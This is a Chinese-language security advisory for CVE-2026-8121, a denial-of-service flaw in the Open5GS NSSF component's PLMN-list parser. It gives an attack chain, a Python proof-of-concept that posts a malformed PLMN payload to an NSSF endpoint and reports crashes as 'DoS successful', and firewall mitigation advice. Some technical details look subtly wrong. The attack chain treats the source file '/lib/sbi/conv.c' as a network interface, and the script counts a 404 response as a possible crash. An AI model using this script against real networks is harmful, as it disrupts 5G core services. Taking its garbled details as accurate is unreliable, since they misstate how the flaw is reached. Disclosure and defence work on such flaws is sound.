IPBUF安全漏洞报告
English
CVE-2026-8121 CVSS 4.3 中危

CVE-2026-8121 Open5GS NSSF组件拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-8121
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务DoSOpen5GS5G核心网NSSFCVE-2026-8121

漏洞概述

Open5GS是一款开源的5G核心网实现。在Open5GS 2.7.7及之前的版本中,NSSF组件的`/lib/sbi/conv.c`文件中的`ogs_sbi_parse_plmn_list`函数存在漏洞。攻击者可以通过操纵特定参数触发该漏洞,导致目标服务拒绝响应。该漏洞利用难度低,且无需用户交互,已公开披露利用方式,对网络服务的可用性构成威胁。

技术细节

该漏洞位于Open5GS的NSSF(网络切片选择功能)模块中,具体影响处理SBI(服务化接口)请求的代码逻辑。在`lib/sbi/conv.c`源文件的`ogs_sbi_parse_plmn_list`函数中,程序未能正确验证输入数据格式或边界。当攻击者向受影响组件发送特制的PLMN(公共陆地移动网络)列表数据时,解析逻辑可能发生异常。这种异常通常表现为空指针解引用或内存访问越界,进而导致NSSF服务进程崩溃。由于NSSF负责协助网络切片选择,其瘫痪会影响5G核心网的部分功能。攻击者需具备低权限网络访问能力,利用SBI接口发起远程攻击。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,识别Open5GS核心网组件,定位暴露的NSSF接口及其SBI端点。
STEP 2
漏洞利用
攻击者构造包含畸形PLMN列表数据的恶意HTTP请求,利用低权限账户或网络接入向NSSF组件的`/lib/sbi/conv.c`接口发送该请求。
STEP 3
触发崩溃
`ogs_sbi_parse_plmn_list`函数在解析畸形数据时发生内存错误(如空指针解引用),导致NSSF进程异常终止。
STEP 4
拒绝服务
NSSF服务停止响应,导致无法处理网络切片选择请求,影响5G核心网的正常运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration TARGET_URL = "http://target-open5gs-nssf:7777/nssf-nssf-management/v1/plmn-list" # Malicious payload designed to trigger parsing issues in ogs_sbi_parse_plmn_list # This payload mimics a malformed PLMN list structure malicious_payload = { "plmnList": [ { "mcc": "001", # Valid MCC "mnc": "01", # Valid MNC "tac": ["invalid_tac_format"] # Malformed TAC list to cause parsing crash }, { # Injecting unexpected data types "mcc": 12345, "mnc": None } ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=json.dumps(malicious_payload), headers=headers, timeout=5) if response.status_code == 500 or response.status_code == 404: print("[+] Potential DoS triggered. Server returned error code.") else: print(f"[-] Request returned status code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.Timeout: print("[+] Connection timed out. The service may have crashed (DoS successful).") except requests.exceptions.ConnectionError: print("[+] Connection refused. The service is likely down (DoS successful).") except Exception as e: print(f"Error: {e}")

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
在官方修复版本发布前,建议通过防火墙严格限制对NSSF SBI端口的访问,仅允许可信的网元IP地址连接。同时,应密切监控Open5GS服务日志,一旦发现`ogs_sbi_parse_plmn_list`相关的崩溃记录,应立即排查网络流量来源。

参考链接